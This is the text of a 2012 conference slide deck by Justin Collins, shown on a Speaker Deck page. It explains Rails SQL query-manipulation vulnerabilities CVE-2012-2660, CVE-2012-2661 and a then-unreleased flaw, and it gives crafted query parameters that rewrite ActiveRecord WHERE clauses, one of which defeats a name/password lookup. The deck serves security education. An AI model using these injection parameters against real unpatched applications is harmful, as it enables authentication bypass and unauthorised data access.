Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
90
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
890
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
180
Practical Static Analysis for Continuous Application Security
presidentbeef
0
270
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
510
Continuous Security with Practical Static Analysis
presidentbeef
1
380
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
310
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
280
Other Decks in Programming
See All in Programming
そこに3びきプロダクトがいるじゃろう——生成AI時代における“価値が届かない理由”の構造
kosuket
0
580
KotlinConf Extended South Korea 2026 Keynote
l2hyunwoo
0
120
Flow は今どうなっているか
mizdra
PRO
0
720
ソフトウェアエンジニアにとっての生成AI - 特性を知って使い倒す / generative ai for software enginner
kishida
7
2.1k
AIに既存システムを理解させる技術 ~レガシーを見捨てないハーネスエンジニアリング入門~
ochtum
0
150
VibeCodingからAgenticWorkflowへ
starfish719
0
880
Discordを用いたラボオートメーション関連情報収集の自動化
noguhiro2002
0
440
[PyCon KR 2026] More Variants, More Diversity for AI Accelerators
achimnol
0
110
【QA Test Talk Vol.8】AI-DLC による Whole Team Approach の加速
pkshadeck
PRO
0
240
自動化したのに回らない テスト運用の壁―AI時代の品質責任と生産性
mfunaki
0
510
AI Readyの正体はデータマネジメントだ メダリオン2.0の最前線
freee
PRO
0
390
freee が目指す データ マネジメント戦略 AI-Ready 時代を支える 攻めのガバナンスとは
freee
PRO
0
490
Featured
See All Featured
Evolution of real-time – Irina Nazarova, EuRuKo, 2024
irinanazarova
9
1.5k
The B2B funnel & how to create a winning content strategy
katarinadahlin
PRO
1
480
Easily Structure & Communicate Ideas using Wireframe
afnizarnur
194
17k
Ten Tips & Tricks for a 🌱 transition
stuffmc
0
180
Build your cross-platform service in a week with App Engine
jlugia
234
19k
Leading Effective Engineering Teams in the AI Era
addyosmani
9
2.4k
Design in an AI World
tapps
1
290
What's in a price? How to price your products and services
michaelherold
247
13k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
32
3k
Agile that works and the tools we love
rasmusluckow
331
22k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
35
2.6k
The Anti-SEO Checklist Checklist. Pubcon Cyber Week
ryanjones
0
220
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1